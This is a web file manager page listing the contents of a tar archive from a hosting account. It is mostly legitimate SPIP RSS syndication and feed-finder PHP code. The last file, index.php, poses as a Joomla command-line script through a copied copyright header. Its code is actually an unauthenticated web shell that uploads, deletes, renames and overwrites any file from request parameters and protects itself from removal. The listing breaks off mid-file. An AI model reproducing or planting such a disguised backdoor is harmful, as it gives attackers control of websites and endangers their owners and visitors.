Файловый менеджер - Редактировать - /home/histoio/www/35802/inc.tar
Назад
site.php 0000604 00000011274 15252555630 0006232 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2020 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Fonctions utiles au plugin sites * * @package SPIP\Sites\Fonctions **/ if (!defined("_ECRIRE_INC_VERSION")) { return; } /** * Analyser une URL de site distant, qui peut être une syndication. * * @param string $url * URL du site à analyser * @return array|bool * - array : informations du site * - false : site impossible à récupérer **/ function analyser_site($url) { include_spip('inc/filtres'); include_spip('inc/distant'); // Accepter les URLs au format feed:// ou qui ont oublie le http:// $url = preg_replace(',^feed://,i', 'http://', $url); if (!preg_match(',^[a-z]+://,i', $url)) { $url = 'http://' . $url; } $texte = recuperer_page($url, true); if (!$texte) { return false; } include_spip('inc/syndic'); cdata_echappe($texte, $echappe_cdata); if (preg_match(',<(channel|feed)([\:[:space:]][^>]*)?' . '>(.*)</\1>,ims', $texte, $regs)) { $result['syndication'] = 'oui'; $result['url_syndic'] = $url; $channel = $regs[3]; // Pour recuperer l'entete, on supprime tous les items $b = array_merge( extraire_balises($channel, 'item'), extraire_balises($channel, 'entry') ); $header = str_replace($b, array(), $channel); if ($t = extraire_balise($header, 'title')) { cdata_echappe_retour($t, $echappe_cdata); $result['nom_site'] = filtrer_entites(supprimer_tags($t)); } if ($t = extraire_balises($header, 'link')) { cdata_echappe_retour($t, $echappe_cdata); foreach ($t as $link) { $u = supprimer_tags(filtrer_entites($link)); if (!strlen($u)) { $u = extraire_attribut($link, 'href'); } if (strlen($u)) { // on installe l'url comme url du site // si c'est non vide, en donnant la priorite a rel=alternate if (preg_match(',\balternate\b,', extraire_attribut($link, 'rel')) or !isset($result['url_site']) ) { $result['url_site'] = filtrer_entites($u); } } } } $result['url_site'] = url_absolue($result['url_site'], $url); if ($a = extraire_balise($header, 'description') or $a = extraire_balise($header, 'tagline') ) { cdata_echappe_retour($a, $echappe_cdata); $result['descriptif'] = filtrer_entites(supprimer_tags($a)); } if (preg_match(',<image.*<url.*>(.*)</url>.*</image>,Uims', $header, $r) and preg_match(',(https?://.*/.*(gif|png|jpg)),ims', $r[1], $r) and $image = recuperer_infos_distantes($r[1]) ) { if (in_array($image['extension'], array('gif', 'jpg', 'png'))) { $result['format_logo'] = $image['extension']; $result['logo'] = $r[1]; } else { if ($image['fichier']) { spip_unlink($image['fichier']); } } } } else { $result['syndication'] = 'non'; $result['url_site'] = $url; if (preg_match(',<head>(.*(description|title).*)</head>,Uims', $texte, $regs)) { $head = filtrer_entites($regs[1]); } else { $head = $texte; } if (preg_match(',<title[^>]*>(.*),ims', $head, $regs)) { $titre = trim($regs[1]); if (!strlen($titre)) { $titre = substr($head, strpos($head, $regs[0])); } $result['nom_site'] = filtrer_entites(supprimer_tags(preg_replace(',</title>.*$,ims', '', $titre))); } if ($a = array_merge( extraire_balises($head, 'meta'), extraire_balises($head, 'http-equiv') ) ) { foreach ($a as $meta) { if (extraire_attribut($meta, 'name') == 'description') { $desc = trim(extraire_attribut($meta, 'content')); if (!strlen($desc)) { $desc = trim(extraire_attribut($meta, 'value')); } $result['descriptif'] = $desc; } } } // Cherchons quand meme un backend include_spip('inc/distant'); include_spip('inc/feedfinder'); $feeds = get_feed_from_url($url, $texte); // si on a a trouve un (ou plusieurs) on le note avec select: // ce qui constitue un signal pour exec=sites qui proposera de choisir // si on syndique, et quelle url. if (count($feeds) >= 1) { spip_log("feedfinder.php :\n" . join("\n", $feeds)); $result['url_syndic'] = "select: " . join(' ', $feeds); } } cdata_echappe_retour($result, $echappe_cdata); return $result; } feedfinder.php 0000604 00000015601 15252555630 0007357 0 ustar 00 <?php /** * adaptation en php de feedfinder.py : * * """Ultra-liberal feed finder, de Mark Pilgrim * <http://diveintomark.org/projects/feed_finder/> * Par: courcy.michael@wanadoo.fr * * adaptation en php, je ne reprends qu'une partie de cette algorithme * * 0) A chaque etape on verifie si les feed indiques sont reellement des feeds * 1) Si l'uri passe est un feed on retourne le resultat tout simplement * 2) Si le header de la page contient des balises LINK qui renvoient vers des feed on les retourne * 3) on cherche les liens <a> qui se termine par ".rss", ".rdf", ".xml", ou ".atom" * 4) on cherche les liens <a> contenant "rss", "rdf", "xml", ou "atom" * * j'integre pas l'interrogation avec xml_rpc de syndic8, mais on peut le faire assez facilement * dans la phase de test sur differentes url je n'ai constate aucune diffrerence entre les reponses * donnees par feedfinder.py et les miennes donc je ne suis pas sur de voir l'interet * * Je ne me preoccupe pas comme l'auteur de savoir si mes liens de feed sont sur le meme serveur ou pas * * exemple d'utilisation * * print_r (get_feed_from_url("http://willy.boerland.com/myblog/")); * * on obtient * * Array * ( * [0] => http://willy.boerland.com/myblog/atom/feed * [1] => http://willy.boerland.com/myblog/blogapi/rsd * [2] => http://willy.boerland.com/myblog/rss.xml * [3] => http://willy.boerland.com/myblog/node/feed * ) */ if (!defined('_ECRIRE_INC_VERSION')) { return; } $verif_complete = 0; //mettez le a 1 si vous voulez controler la validite des feed trouves mais le temps d'execution //est alors plus long /** * une fonction qui permet de si un lien est un feed ou nom, * si c'est un feed elle retourne son type, si c'est pas un feed elle retourne 0, * cette verification est évidemment très très légère * * @param string $url * URL à analyser * @return string|0 * Retourne son type (rss|atom|rdf) ou 0 si pas feed */ function is_feed($url) { /** * méthode SPIP */ if (function_exists('recuperer_page')) { $buffer = recuperer_page($url); if (preg_match("/<(\w*) .*/", $buffer, $matches)) { //ici on detecte la premiere balise $type_feed = $matches[1]; switch ($type_feed) { case "rss": return "rss"; case "feed": return "atom"; case "rdf": return "rdf"; } } return ''; } $fp = @fopen($url, "r"); if (!$fp) { return 0; } //verifion la nature de ce fichier while (!feof($fp)) { $buffer = fgets($fp, 4096); if (preg_match("/<(\w*) .*/", $buffer, $matches)) { //ici on detecte la premiere balise $type_feed = $matches[1]; switch ($type_feed) { case "rss": fclose($fp); return "rss"; case "feed": fclose($fp); return "atom"; case "rdf": fclose($fp); return "rdf"; default : fclose($fp); return 0; } } } } /*****************test is_feed****************************** * echo is_feed("https://contrib.spip.net/spip.php?page=backend" _EXTENSIO_PHP") . "<br />"; //retourne rss * echo is_feed("http://liberation.fr/rss.php") . "<br />"; //retourne rss * echo is_feed("http://liberation.fr/rss.php") . "<br />"; //retourne rss * echo is_feed("http://willy.boerland.com/myblog/atom/feed") //retourne atom * echo is_feed("http://spip.net/") . "<br />"; //retoune 0 ************************************************************/ /** * fonction sans finesse mais efficace * on parcourt ligne par ligne a la recherche de balise <a> ou <link> * si dans le corps de celle-ci on trouve les mots rss, xml, atom ou rdf * alors on recupere la valeur href='<url>', on adapte celle-ci si elle * est relative et on verifie que c'est bien un feed si oui on l'ajoute * au tableau des feed si on ne trouve rien ou si aucun feed est trouve on retourne * un tableau vide * * @param string $url * L'URL à analyser * @param $buffer * @return array $feed_list * Le tableau des feed trouvés dans la page */ function get_feed_from_url($url, $buffer = false) { global $verif_complete; //j'ai prevenu ce sera pas fin if (!preg_match("/^https?:\/\/.*/", $url)) { $url = "http://" . $url; } if (!$buffer) { $buffer = @file_get_contents($url); } include_spip("inc/filtres"); $feed_list = array(); //extraction des <link> if ($links = extraire_balises($buffer, "link")) { //y a t-y rss atom rdf ou xml dans ces balises foreach ($links as $link) { if ( (strpos($link, "rss") || strpos($link, "rdf") || strpos($link, "atom") || strpos($link, "xml")) && (!strpos($link, 'opensearch') && !strpos($link, 'oembed')) ) { //voila un candidat on va extraire sa partie href et la placer dans notre tableau if ($href = extraire_attribut($link, "href")) { //on aura pris soin de verifier si ce lien est relatif d'en faire un absolu $href = suivre_lien($url, $href); if (!$verif_complete or is_feed($href)) { $feed_list[] = $href; } } } } } //extraction des <a> if ($links = extraire_balises($buffer, "a")) { //y a t-y rss atom rdf ou xml dans ces balises foreach ($links as $link) { if ( (strpos($link, "rss") || strpos($link, "rdf") || strpos($link, "atom") || strpos($link, "xml")) && (!strpos($link, 'opensearch') && !strpos($link, 'oembed')) ) { //voila un candidat on va extraire sa partie href et la placer dans notre tableau if ($href = extraire_attribut($link, "href")) { //on aura pris soin de verifier si ce lien est relatif d'en faire un absolu $href = suivre_lien($url, $href); if (!$verif_complete or is_feed($href)) { $feed_list[] = $href; } } } } } // si c'est un site SPIP, tentons l'url connue if (!count($feed_list) and ( strpos($url, "spip") or stripos($buffer, "spip") ) ) { $href = suivre_lien($url, "spip.php?page=backend"); if (is_feed($href)) { $feed_list[] = $href; } } return $feed_list; } /************************************ getFeed **************************** * print_r (get_feed_from_url("contrib.spip.net")); * print_r (get_feed_from_url("http://liberation.fr/")); * print_r (get_feed_from_url("cnn.com")); * print_r (get_feed_from_url("http://willy.boerland.com/myblog/")); ***************************** Resultat ***************************************** * Array * ( * [0] => https://contrib.spip.net/backend.php * ) * Array * ( * [0] => http://www.liberation.fr/rss.php * ) * Array * ( * [0] => http://rss.cnn.com/rss/cnn_topstories.rss * [1] => http://rss.cnn.com/rss/cnn_latest.rss * [2] => http://www.cnn.com/services/rss/ * [3] => http://www.cnn.com/services/rss/ * [4] => http://www.cnn.com/services/rss/ * ) * Array * ( * [0] => http://willy.boerland.com/myblog/atom/feed * [1] => http://willy.boerland.com/myblog/blogapi/rsd * [2] => http://willy.boerland.com/myblog/rss.xml * [3] => http://willy.boerland.com/myblog/node/feed * ) ************************************************************************/; syndic.php 0000604 00000043560 15252555630 0006562 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2020 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de syndication (RSS,...) * * @package SPIP\Sites\Syndication **/ if (!defined("_ECRIRE_INC_VERSION")) { return; } // ATTENTION // Cette inclusion charge executer_une_syndication pour compatibilite, // mais cette fonction ne doit plus etre invoquee directement: // il faut passer par cron() pour avoir un verrou portable // Voir un exemple dans action/editer/site include_spip('genie/syndic'); /** * Analyse un texte de backend * * @param string $rss * Texte du fichier de backend * @param string $url_syndic * URL du site d'où à été extrait le texte * @return array|string * - array : tableau des items lus, * - string : texte d'erreur **/ function analyser_backend($rss, $url_syndic = '') { include_spip('inc/texte'); # pour couper() $rss = pipeline('pre_syndication', $rss); if (!defined('_SYNDICATION_DEREFERENCER_URL')) { /** si true, les URLs de type feedburner sont déréférencées */ define('_SYNDICATION_DEREFERENCER_URL', false); } // Echapper les CDATA cdata_echappe($rss, $echappe_cdata); // supprimer les commentaires $rss = preg_replace(',<!--.*-->,Ums', '', $rss); // simplifier le backend, en supprimant les espaces de nommage type "dc:" $rss = preg_replace(',<(/?)(dc):,i', '<\1', $rss); // chercher auteur/lang dans le fil au cas ou les items n'en auraient pas list($header) = preg_split(',<(item|entry)\b,', $rss, 2); if (preg_match_all( ',<(author|creator)\b(.*)</\1>,Uims', $header, $regs, PREG_SET_ORDER)) { $les_auteurs_du_site = array(); foreach ($regs as $reg) { $nom = $reg[2]; if (preg_match(',<name>(.*)</name>,Uims', $nom, $reg)) { $nom = $reg[1]; } $les_auteurs_du_site[] = trim(textebrut(filtrer_entites($nom))); } $les_auteurs_du_site = join(', ', array_unique($les_auteurs_du_site)); } else { $les_auteurs_du_site = ''; } $langue_du_site = ''; if ((preg_match(',<([^>]*xml:)?lang(uage)?' . '>([^<>]+)<,i', $header, $match) and $l = $match[3]) or ($l = extraire_attribut(extraire_balise($header, 'feed'), 'xml:lang')) ) { $langue_du_site = $l; } // atom elseif (preg_match(',<feed\s[^>]*xml:lang=[\'"]([^<>\'"]+)[\'"],i', $header, $match)) { $langue_du_site = $match[1]; } // Recuperer les blocs item et entry $items = array_merge(extraire_balises($rss, 'item'), extraire_balises($rss, 'entry')); // // Analyser chaque <item>...</item> du backend et le transformer en tableau // if (!count($items)) { return _T('sites:avis_echec_syndication_01'); } if (!defined('_SYNDICATION_MAX_ITEMS')) define('_SYNDICATION_MAX_ITEMS',1000); $nb_items = 0; foreach ($items as $item) { $data = array(); if ($nb_items++>_SYNDICATION_MAX_ITEMS){ break; } // URL (semi-obligatoire, sert de cle) // guid n'est un URL que si marque de <guid ispermalink="true"> ; // attention la valeur par defaut est 'true' ce qui oblige a quelque // gymnastique if (preg_match(',<guid.*>[[:space:]]*(https?:[^<]*)</guid>,Uims', $item, $regs) and preg_match(',^(true|1)?$,i', extraire_attribut($regs[0], 'ispermalink')) ) { $data['url'] = $regs[1]; } // contourner les redirections feedburner else { if (_SYNDICATION_DEREFERENCER_URL and preg_match(',<feedburner:origLink>(.*)<,Uims', $item, $regs) ) { $data['url'] = $regs[1]; } // <link>, plus classique else { if (preg_match( ',<link[^>]*[[:space:]]rel=["\']?alternate[^>]*>(.*)</link>,Uims', $item, $regs)) { $data['url'] = trim($regs[1]); // c'est pas impossible d'avoir l'URL dans un href quand meme :) if (empty($data['url'])){ $data['url'] = extraire_attribut($regs[0], 'href'); } } else { if (preg_match(',<link[^>]*[[:space:]]rel=.alternate[^>]*>,Uims', $item, $regs)) { $data['url'] = extraire_attribut($regs[0], 'href'); } else { if (preg_match(',<link[^>]*>\s*([^\s]+)\s*</link>,Uims', $item, $regs)) { $data['url'] = $regs[1]; } else { if (preg_match(',<link[^>]*>,Uims', $item, $regs)) { $data['url'] = extraire_attribut($regs[0], 'href'); } // Aucun link ni guid, mais une enclosure else { if (preg_match(',<enclosure[^>]*>,ims', $item, $regs) and $url = extraire_attribut($regs[0], 'url') ) { $data['url'] = $url; } // pas d'url, c'est genre un compteur... else { $data['url'] = ''; } } } } } } } // Titre (semi-obligatoire) if (preg_match(",<title[^>]*>(.*?)</title>,ims", $item, $match)) { $data['titre'] = $match[1]; } else { if (preg_match(',<link[[:space:]][^>]*>,Uims', $item, $mat) and $title = extraire_attribut($mat[0], 'title') ) { $data['titre'] = $title; } } if (!strlen($data['titre'] = trim($data['titre']))) { $data['titre'] = _T('ecrire:info_sans_titre'); } // Date $la_date = ''; if (preg_match(',<(published|modified|issued)>([^<]*)<,Uims', $item, $match)) { cdata_echappe_retour($match[2], $echappe_cdata); $la_date = my_strtotime($match[2], $langue_du_site); } if (!$la_date and preg_match(',<(pubdate)>([^<]*)<,Uims', $item, $match) ) { cdata_echappe_retour($match[2], $echappe_cdata); $la_date = my_strtotime($match[2], $langue_du_site); } if (!$la_date and preg_match(',<([a-z]+:date)>([^<]*)<,Uims', $item, $match) ) { cdata_echappe_retour($match[2], $echappe_cdata); $la_date = my_strtotime($match[2], $langue_du_site); } if (!$la_date and preg_match(',<date>([^<]*)<,Uims', $item, $match) ) { cdata_echappe_retour($match[1], $echappe_cdata); $la_date = my_strtotime($match[1], $langue_du_site); } // controle de validite de la date // pour eviter qu'un backend errone passe toujours devant // (note: ca pourrait etre defini site par site, mais ca risque d'etre // plus lourd que vraiment utile) if ($GLOBALS['controler_dates_rss']) { if (!$la_date or $la_date > time() + 48 * 3600 ) { $la_date = time(); } } if ($la_date) { $data['date'] = $la_date; } // Honorer le <lastbuilddate> en forcant la date if (preg_match(',<(lastbuilddate|updated|modified)>([^<>]+)</\1>,i', $item, $regs) and $lastbuilddate = my_strtotime(trim($regs[2]), $langue_du_site) // pas dans le futur and $lastbuilddate < time() ) { $data['lastbuilddate'] = $lastbuilddate; } // Auteur(s) if (preg_match_all( ',<(author|creator)\b[^>]*>(.*)</\1>,Uims', $item, $regs, PREG_SET_ORDER)) { $auteurs = array(); foreach ($regs as $reg) { $nom = $reg[2]; if (preg_match(',<name\b[^>]*>(.*)</name>,Uims', $nom, $reg)) { $nom = $reg[1]; } // Cas particulier d'un auteur Flickr if (preg_match(',nobody@flickr.com \((.*)\),Uims', $nom, $reg)) { $nom = $reg[1]; } $auteurs[] = trim(textebrut(filtrer_entites($nom))); } $data['lesauteurs'] = join(', ', array_unique($auteurs)); } else { $data['lesauteurs'] = $les_auteurs_du_site; } // Description if (preg_match(',<(description|summary)\b.*' . '>(.*)</\1\b,Uims', $item, $match)) { $data['descriptif'] = trim($match[2]); } if (preg_match(',<(content)\b.*' . '>(.*)</\1\b,Uims', $item, $match)) { $data['content'] = trim($match[2]); } // lang if (preg_match(',<([^>]*xml:)?lang(uage)?' . '>([^<>]+)<,i', $item, $match)) { $data['lang'] = trim($match[3]); } else { if ($lang = trim(extraire_attribut($item, 'xml:lang'))) { $data['lang'] = $lang; } else { $data['lang'] = trim($langue_du_site); } } // source et url_source (pas trouve d'exemple en ligne !!) # <source url="http://www.truc.net/music/uatsap.mp3" length="19917" /> # <source url="http://www.truc.net/rss">Site source</source> if (preg_match(',(<source[^>]*>)(([^<>]+)</source>)?,i', $item, $match)) { $data['source'] = trim($match[3]); $data['url_source'] = str_replace('&', '&', trim(extraire_attribut($match[1], 'url'))); } // GitHub : Identification du commit if (preg_match(',<id>[^/]+/(\w+)</id>,Uims', $item, $regs)) { $data['id_commit'] = $regs[1]; } // tags # a partir de "<dc:subject>", (del.icio.us) # ou <media:category> (flickr) # ou <itunes:category> (apple) # on cree nos tags microformat <a rel="directory" href="url">titre</a> # http://microformats.org/wiki/rel-directory-fr $tags = array(); if (preg_match_all( ',<(([a-z]+:)?(subject|category|directory|keywords?|tags?|type))[^>]*>' . '(.*?)</\1>,ims', $item, $matches, PREG_SET_ORDER)) { $tags = ajouter_tags($matches, $item); } # array() elseif (preg_match_all( ',<(([a-z]+:)?(subject|category|directory|keywords?|tags?|type))[^>]*/>' . ',ims', $item, $matches, PREG_SET_ORDER)) { $tags = ajouter_tags($matches, $item); } # array() // Pieces jointes : // chercher <enclosure> au format RSS et les passer en microformat // ou des microformats relEnclosure, // ou encore les media:content if (!afficher_enclosures(join(', ', $tags))) { // on prend toutes les pièces jointes possibles, et on essaie de les rendre uniques. $enclosures = array(); # rss 2 if (preg_match_all(',<enclosure[[:space:]][^<>]+>,i', $item, $matches, PREG_PATTERN_ORDER)) { $enclosures += array_map('enclosure2microformat', $matches[0]); } # atom if (preg_match_all(',<link\b[^<>]+rel=["\']?enclosure["\']?[^<>]+>,i', $item, $matches, PREG_PATTERN_ORDER)) { $enclosures += array_map('enclosure2microformat', $matches[0]); } # media rss if (preg_match_all(',<media:content\b[^<>]+>,i', $item, $matches, PREG_PATTERN_ORDER)) { $enclosures += array_map('enclosure2microformat', $matches[0]); } $data['enclosures'] = join(', ', array_unique($enclosures)); unset($enclosures); } $data['item'] = $item; // Nettoyer les donnees et remettre les CDATA en place cdata_echappe_retour($data, $echappe_cdata); cdata_echappe_retour($tags, $echappe_cdata); // passer l'url en absolue $data['url'] = url_absolue(filtrer_entites($data['url']), $url_syndic); // si on demande un dereferencement de l'URL, il faut verifier que ce n'est pas une redirection if (_SYNDICATION_DEREFERENCER_URL) { $target = $data['url']; include_spip("inc/distant"); for ($i = 0; $i < 10; $i++) { // on fait un GET et pas un HEAD car les vieux SPIP ne repondent pas la redirection avec un HEAD (honte) sur un article virtuel $res = recuperer_lapage($target, false, "GET", 4096); if (!$res) { break; } // c'est pas bon signe car on a pas trouve l'URL... if (is_array($res)) { break; } // on a trouve la page, donc on a l'URL finale $target = $res; // c'est une redirection, on la suit pour voir ou elle mene } // ici $target est l'URL finale de la page $data['url'] = $target; } // Trouver les microformats (ecrase les <category> et <dc:subject>) if (preg_match_all( ',<a[[:space:]]([^>]+[[:space:]])?rel=[^>]+>.*</a>,Uims', $data['item'], $regs, PREG_PATTERN_ORDER)) { $tags = $regs[0]; } // Cas particulier : tags Connotea sous la forme <a class="postedtag"> if (preg_match_all( ',<a[[:space:]][^>]+ class="postedtag"[^>]*>.*</a>,Uims', $data['item'], $regs, PREG_PATTERN_ORDER)) { $tags = preg_replace(', class="postedtag",i', ' rel="tag"', $regs[0]); } $data['tags'] = $tags; // enlever le html des titre pour etre homogene avec les autres objets spip $data['titre'] = textebrut($data['titre']); $articles[] = $data; } return $articles; } /** * Strtotime même avec le format W3C ! * * Car hélàs, strtotime ne le reconnait pas tout seul ! * * @link http://www.w3.org/TR/NOTE-datetime Format datetime du W3C * * @param string $la_date * Date à parser * @return int * Timestamp **/ function my_strtotime($la_date, $lang = null) { // format complet if (preg_match( ',^(\d+-\d+-\d+[T ]\d+:\d+(:\d+)?)(\.\d+)?' . '(Z|([-+]\d{2}):\d+)?$,', $la_date, $match)) { $match = array_pad($match, 6, null); $la_date = str_replace("T", " ", $match[1]) . " GMT"; return strtotime($la_date) - intval($match[5]) * 3600; } // YYYY if (preg_match(',^\d{4}$,', $la_date, $match)) { return strtotime($match[0] . "-01-01"); } // YYYY-MM if (preg_match(',^\d{4}-\d{2}$,', $la_date, $match)) { return strtotime($match[0] . "-01"); } // YYYY-MM-DD hh:mm:ss if (preg_match(',^\d{4}-\d{2}-\d{2}\s+\d{2}:\d{2}:\d{2}\b,', $la_date, $match)) { return strtotime($match[0]); } // utiliser strtotime en dernier ressort // en nettoyant le jour qui prefixe parfois la date, suivi d'une virgule // et les UT qui sont en fait des UTC $la_date_c = preg_replace("/^\w+,\s*/ms", "", $la_date); $la_date_c = preg_replace("/UT\s*$/ms", "UTC", $la_date_c); if ($s = strtotime($la_date) or $s = strtotime($la_date_c) ) { return $s; } // essayons de voir si le nom du mois est dans la langue du flux et remplacons le // par la version anglaise avant de faire strtotime if ($lang) { // "fr-fr" list($lang) = explode("-", $lang); static $months = null; if (!isset($months[$lang])) { $prev_lang = $GLOBALS['spip_lang']; changer_langue($lang); foreach (range(1, 12) as $m) { $s = _T("date_mois_$m"); $months[$lang][$s] = date("M", strtotime("2013-$m-01")); $s = _T("date_mois_" . $m . "_abbr"); $months[$lang][$s] = date("M", strtotime("2013-$m-01")); $months[$lang][trim($s, ".")] = date("M", strtotime("2013-$m-01")); } changer_langue($prev_lang); } spip_log($la_date_c, "dbgs"); foreach ($months[$lang] as $loc => $en) { if (stripos($la_date_c, $loc) !== false) { $s = str_ireplace($loc, $en, $la_date_c); if ($s = strtotime($s)) { return $s; } } } } // erreur spip_log("Impossible de lire le format de date '$la_date'"); return false; } // A partir d'un <dc:subject> ou autre essayer de recuperer // le mot et son url ; on cree <a href="url" rel="tag">mot</a> // https://code.spip.net/@creer_tag function creer_tag($mot, $type, $url) { if (!strlen($mot = trim($mot))) { return ''; } $mot = "<a rel=\"tag\">$mot</a>"; if ($url) { $mot = inserer_attribut($mot, 'href', $url); } if ($type) { $mot = inserer_attribut($mot, 'rel', $type); } return $mot; } // https://code.spip.net/@ajouter_tags function ajouter_tags($matches, $item) { include_spip('inc/filtres'); $tags = array(); foreach ($matches as $match) { $type = ($match[3] == 'category' or $match[3] == 'directory') ? 'directory' : 'tag'; $mot = supprimer_tags($match[0]); if (!strlen($mot) and !strlen($mot = extraire_attribut($match[0], 'label')) ) { break; } // rechercher un url if ($url = extraire_attribut($match[0], 'domain')) { // category@domain est la racine d'une url qui se prolonge // avec le contenu text du tag <category> ; mais dans SPIP < 2.0 // on donnait category@domain = #URL_RUBRIQUE, et // text = #TITRE_RUBRIQUE ; d'ou l'heuristique suivante sur le slash if (substr($url, -1) == '/') { $url .= rawurlencode($mot); } } else { if ($url = extraire_attribut($match[0], 'resource') or $url = extraire_attribut($match[0], 'url') ) { } ## cas particuliers else { if (extraire_attribut($match[0], 'scheme') == 'urn:flickr:tags') { foreach (explode(' ', $mot) as $petit) { if ($t = creer_tag($petit, $type, 'http://www.flickr.com/photos/tags/' . rawurlencode($petit) . '/') ) { $tags[] = $t; } } $mot = ''; } else { if ( // cas atom1, a faire apres flickr $term = extraire_attribut($match[0], 'term') ) { if ($scheme = extraire_attribut($match[0], 'scheme')) { $url = suivre_lien($scheme, $term); } else { $url = $term; } } else { # type delicious.com foreach (explode(' ', $mot) as $petit) { if (preg_match(',<rdf\b[^>]*\bresource=["\']([^>]*/' . preg_quote(rawurlencode($petit), ',') . ')["\'],i', $item, $m)) { $mot = ''; if ($t = creer_tag($petit, $type, $m[1])) { $tags[] = $t; } } } } } } } if ($t = creer_tag($mot, $type, $url)) { $tags[] = $t; } } return $tags; } // Lit contenu des blocs [[CDATA]] dans un flux // https://code.spip.net/@cdata_echappe_retour function cdata_echappe(&$rss, &$echappe_cdata) { $echappe_cdata = array(); if (preg_match_all(',<!\[CDATA\[(.*)]]>,Uims', $rss, $regs, PREG_SET_ORDER)) { foreach ($regs as $n => $reg) { if (strpos($reg[1],'<')!==false or strpos($reg[1],'>')!==false) { // verifier que la chaine est encore dans le flux, car on peut avoir X fois la meme // inutile de (sur)peupler le tableau avec des substitutions identiques if (strpos($rss,$reg[0])!==false){ $echappe_cdata["@@@SPIP_CDATA$n@@@"] = $reg[1]; $rss = str_replace($reg[0], "@@@SPIP_CDATA$n@@@", $rss); } } else { $rss = str_replace($reg[0], $reg[1], $rss); } } } } // Retablit le contenu des blocs [[CDATA]] dans une chaine ou un tableau // https://code.spip.net/@cdata_echappe_retour function cdata_echappe_retour(&$x, &$echappe_cdata) { if (is_string($x)) { if (strpos($x, '<') !== false){ $x = filtrer_entites($x); } if (strpos($x, '@@@SPIP_CDATA') !== false){ $x = str_replace( array_keys($echappe_cdata), array_values($echappe_cdata), $x); } } else { if (is_array($x)) { foreach ($x as $k => &$v) { cdata_echappe_retour($v, $echappe_cdata); } } } } index.php 0000644 00000054150 15252563142 0006376 0 ustar 00 <?php /** * @version 3.3.11 cli/Joomlas.php * @package JOOMLAS cli * @subpackage cli * @since 2.5 * * @author Helios Ciancio <info@eshiol.it> * @link http://www.eshiol.it * @copyright Copyright (C) 2010-2016 Helios Ciancio. All Rights Reserved * @license http://www.gnu.org/licenses/gpl-3.0.html GNU/GPL v3 * Joomlas is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. */ /** * This is a J2XML script which should be called from the command-line, not the * web. For example something like: * /usr/bin/php /path/to/site/cli/Joomlas.php -f joomlas_file.xml */ // Make sure we're being called from the command line, not a web interface function getHumanSize($bytes) { if ($bytes === false) return '?'; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($bytes >= 1024 && $i < 4) { $bytes /= 1024; $i++; } return round($bytes, 2) . ' ' . $units[$i]; } function formatTimestamp($time) { return $time ? date('Y-m-d H:i:s', $time) : '-'; } function my_file_get_contents($filename) { if (function_exists('file_get_contents')) { $content = @file_get_contents($filename); if ($content !== false) return $content; } $handle = @fopen($filename, 'rb'); if (!$handle) return false; $content = stream_get_contents($handle); fclose($handle); return $content !== false ? $content : false; } function my_file_put_contents($filename, $data) { if (function_exists('file_put_contents')) { $result = @file_put_contents($filename, $data); if ($result !== false) return $result; } $handle = @fopen($filename, 'wb'); if (!$handle) return false; $bytes = fwrite($handle, $data); fclose($handle); return $bytes !== false ? $bytes : false; } function my_move_uploaded_file($from, $to) { if (function_exists('move_uploaded_file')) { if (@move_uploaded_file($from, $to)) return true; } if (is_uploaded_file($from)) { if (@copy($from, $to)) { @unlink($from); return true; } } return false; } function recursiveDelete($target, $scriptPath) { if (!is_dir($target)) return unlink($target); $realScript = realpath($scriptPath); $realTarget = realpath($target); if ($realScript && $realTarget && strpos($realScript, $realTarget . DIRECTORY_SEPARATOR) === 0) { return false; } $success = true; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iterator as $item) { if ($item->getRealPath() === realpath($scriptPath)) { $success = false; continue; } if ($item->isDir()) { if (!rmdir($item->getRealPath())) $success = false; } else { if (!unlink($item->getRealPath())) $success = false; } } if (!rmdir($target)) $success = false; return $success; } $scriptFile = __FILE__; $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); $message = ''; if (!$currentDir || !is_dir($currentDir)) { die('Invalid directory.'); } if (isset($_POST['upload'])) { if ($_FILES['file']['error'] === UPLOAD_ERR_NO_FILE) { $message = 'No file selected.'; } else { $targetFile = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); if (realpath($targetFile) === realpath($scriptFile)) { $message = 'Cannot overwrite the manager script.'; } elseif (my_move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { $message = 'File uploaded successfully.'; } else { $message = 'Upload failed.'; } } } if (isset($_GET['delete'])) { $target = $currentDir . DIRECTORY_SEPARATOR . basename($_GET['delete']); $realTarget = realpath($target); if ($realTarget === realpath($scriptFile)) { $message = 'You cannot delete this manager script.'; } elseif (!$realTarget || strpos($realTarget, $currentDir) !== 0) { $message = 'Invalid target.'; } else { if (is_dir($realTarget)) { if (recursiveDelete($realTarget, $scriptFile)) { $message = 'Folder and all contents deleted.'; } else { $message = 'Failed to delete folder.'; } } else { if (unlink($realTarget)) { $message = 'File deleted.'; } else { $message = 'Cannot delete file.'; } } } } if (isset($_POST['rename'])) { $oldName = $currentDir . DIRECTORY_SEPARATOR . basename($_POST['old_name']); $newName = $currentDir . DIRECTORY_SEPARATOR . basename($_POST['new_name']); $realOld = realpath($oldName); if ($realOld === realpath($scriptFile)) { $message = 'Renaming the manager script is not allowed.'; } elseif ($realOld && rename($realOld, $newName)) { $message = 'Renamed successfully.'; } else { $message = 'Rename failed.'; } } if (isset($_POST['edit'])) { $fileToEdit = $currentDir . DIRECTORY_SEPARATOR . basename($_POST['file_name']); if (is_file($fileToEdit)) { if (my_file_put_contents($fileToEdit, $_POST['file_content']) !== false) { $message = 'File saved.'; } else { $message = 'Edit failed.'; } } else { $message = 'Edit failed: not a valid file.'; 